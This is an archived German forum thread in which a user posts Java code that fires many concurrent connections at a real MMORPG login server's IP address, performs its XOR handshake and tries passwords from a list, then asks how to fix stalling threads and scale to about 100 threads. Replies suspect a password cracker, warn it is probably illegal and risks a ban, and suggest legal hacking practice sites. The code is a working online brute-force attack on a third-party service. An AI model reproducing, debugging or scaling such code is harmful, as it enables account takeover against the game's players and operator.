Du bist nicht angemeldet.

Stilllegung des Forums
Das Forum wurde am 05.06.2023 nach über 20 Jahren stillgelegt (weitere Informationen und ein kleiner Rückblick).
Registrierungen, Anmeldungen und Postings sind nicht mehr möglich. Öffentliche Inhalte sind weiterhin zugänglich.
Das Team von spieleprogrammierer.de bedankt sich bei der Community für die vielen schönen Jahre.
Wenn du eine deutschsprachige Spieleentwickler-Community suchst, schau doch mal im Discord und auf ZFX vorbei!

Werbeanzeige

1

06.06.2011, 01:48

Multithreaded Probleme (Java)

Hallo Jungs und Mädels,

ich habe folgendes Problem, wenn ich ein Thread einfach aufrufe, funktioniert alles wunderbar, er macht was er soll und bei fertigstellung seiner Aufgabe schließt er sich. Wenn ich den Thread 5x erstelle funktioniert auch alles wunderbar, es läuft zwar langsamer, sprich der Thread schließt sich langsamer als wenn ich ihn einmal aufrufe, aber er funktioniert. Nur wenn ich den Thread z.B. 12x erstelle, geht 1. noch langsamer und 2. manche Thread bleiben "stecken" und beenden ihre Aufgabe nicht, sprich sie beenden sich auch nicht selber.

Hier zu allererst meine run()-Methode des Threads :

Quellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
@Override
    public void run()
    {
        for(int runs = 0; runs < pw.length; runs++)
        {           
            password = pw[runs];
            status = 0;
            end = false;
            try
            {
                Socket server = new Socket("195.245.87.25",9010);
                InputStream input = server.getInputStream();
                OutputStream output = server.getOutputStream();
                while(!end)
                {
                    if(input.available()>0 || status == 5)
                    {
                        if(status == 0 && input.read()==4)
                            status = 1;
                        if(status == 1 && input.read()==7)
                            status = 2;
                        if(status == 2 && input.read()==8)
                            status = 3;
                        if(status == 3)
                        {
                            status = 4;
                            xor = input.read();
                            int x = input.read();
                            if(x==1)
                                xor+=256;
                            byte_acc_en = XoR.crypt(byte_acc_de, xor+1);
                            output.write(byte_acc_en);
                            output.flush();
                            xor+=7;
                        }
                        if(status == 4 && input.available()>0)
                        {
                            while(input.available()>0)
                            {
                                input.read();
                            }
                            for(int i = 0; i < 16; i++)
                            {
                                byte_login_de[i+21] = (byte)0x00;
                                if(i<password.length())
                                {
                                    byte_login_de[i+21] = (byte)password.charAt(i);
                                }
                            }
                            byte[] part1 = XoR.crypt(byte_login_de, xor+1);
                            xor+=36;
                            byte[] part2 = XoR.crypt(byte_loginPart2, xor+1);
                            xor+=32;
                            System.arraycopy(part1, 0, byte_login_en, 0, part1.length);
                            System.arraycopy(part2, 0, byte_login_en, 37, part2.length);
                            output.write(byte_login_en);
                            output.flush();
                            status = 5;
                            input.read();
                            input.read();
                            input.read();
                            input.read();
                            int x = input.read();
                            if(x==183)
                            {
                                GUI.setProgressText(password);
                            }
                        }
                        if(status == 5)
                        {
                            end = true;
                        }
                    }
                    try 
                    {
                        Thread.sleep(5);
                    } 
                    catch (InterruptedException ex) 
                    {
                        System.out.println("error : "+ex.toString());
                    }
                }
                server.close();
                input.close();
                output.close();
            }
            catch(IOException e)
            {
                System.out.println("error : "+e.toString());
            }
        }
        GUI.setProgressText("ende");
    }


Erstellt werden die Threads wie folgt :

Quellcode

1
2
3
4
5
6
7
8
9
10
11
private voidCreateThreadsActionPerformed(java.awt.event.ActionEvent evt) {                                      
        Client[] c = new Client[15]; // Anzahl Threads
        for(int i = 0; i< c.length;i++)
        {
            c[i]= new Client();
        }
        for(int i = 0; i< c.length;i++)
        {
            c[i].start();
        }
    } 


Der Thread tut folgendes, er fängt Packete ab, entschlüsselt sie und antwortet. Der Abschnitt

Quellcode

1
2
3
4
input.read();
                            input.read();
                            input.read();
                            input.read();


Macht mir sorgen, denn beim "bombadieren" des Servers kann es ja sein das Packete verloren gehen oder nicht richtig ankommen, dass der Thread vllt hier stockt. Kann man soetwas wie ein Timeout einrichten ? Seht ihr andere Probleme, die mit verbindung mit Threads problematisch sein können. Mein Ziel ist es in etwa 100 Threads davon zu erstellen. Hardware technisch müsste das locker laufen, wenn ich 100erstelle ist die CPU auslastung gerade mal bei 5-10%, auch wenn 88~ Threads "stecken" bleiben.

Quellcode

1
Thread.sleep(5);


Oder ist diese Zeile für das langsamer werden verantwortlich ?

Bei einem Thread durchläuft er die äußere for-Schleife in 5sek, bei 5 Threads brauchen die äußeren for-Schleifen ingesamt um die 25sek.

Jemand ne Idee ?

Oder braucht ihr mehr Infos um das Problem zu verstehen um ne Möglichkeit zu finden ?

lg

rewb0rn

Supermoderator

Beiträge: 2 773

Wohnort: Berlin

Beruf: Indie Game Dev

  • Private Nachricht senden

2

06.06.2011, 10:10

Habs mal kurz überflogen aber nichts Verdächtiges gefunden. Kommentier mal den Code solange aus bis es klappt, evtl. gibts beim Zugriff auf dein GUI ein Problem o.ä.

3

06.06.2011, 10:58

Sicher, dass das nicht eher am Server liegt? der scheint mir bei dir kein Multithreading zu betreiben. http://www.kieser.net/linux/java_server.html

Achja und schöner ist es nicht von Thread zu erben, sondern Runnable zu implementieren...

Dieser Beitrag wurde bereits 2 mal editiert, zuletzt von »Chromanoid« (06.06.2011, 12:17)


4

06.06.2011, 14:27

@rewb0rn

Ok mach ich, gestern war es schon etwas zu spät, da is mir diese simple Idee nicht gekommen :X

@Chromanoid

Der Server läuft bestimmt Multithreaded. Es ist nicht mein Server, sodern nen relativ großes MMORPG ^^

Ich werde mal kurz rewb0rns Ratschlag befolgen und dann Rückmeldung geben.

lg

5

06.06.2011, 14:49

Willst du nen passwort cracker für Fiesta Online schreiben oder was? Weiß nicht ob wir dabei helfen sollten... Kann mir gut vorstellen, dass die irgendwann keine Verbindungen mehr annehmen oder sowas... Bau dir sonst mal nen Testserver... Oder lass es lieber gleich. Eigentlich jede Richtung die dein Projekt nehmen kann ist wahrscheinlich illegal.

6

06.06.2011, 15:09

Man kanns dafür benutzen, ja. Aber ich nutze es für Übungszwecke, mich hat immer sowas gereizt. Theoretisch wäre dies möglich, praktisch aber nicht umzusetzen. Da bei einer Ziffernfolge von 6 schon etwa 600mio ~ verschiedene Möglichkeiten möglich sind. Bei einer Ziffernfolge von 16 gibt es nochmal.. ehm.. einige mehr :D Das alleine für die Benutzernamen, und dann nochmal soviele für die Passwörter. Wie gesagt, für mich ist der Weg das Ziel.

Und das Problem scheint gefunden zu sein, der Server sendet ab und an kleine Packete ( ich denke jede 10sekunden ), die herausfinden sollen ob der Client noch verbunden ist. Wenn diese Timeout-Packete bei mir eintreffen gibt es bei meinem linearen Aufbau probleme. Ich versuche das jetzt ein wenig flexibler zu gestalten und gebe Rückmeldung.

lg

7

06.06.2011, 15:28

Tob dich doch lieber an Sachen wie http://www.hackthissite.org/ aus. Und überleg dir gut was du tust, Ausschluss aus dem Gamigo Netzwerk oder sowas sollte auch ohne Prozess schnell mal passieren können.

Werbeanzeige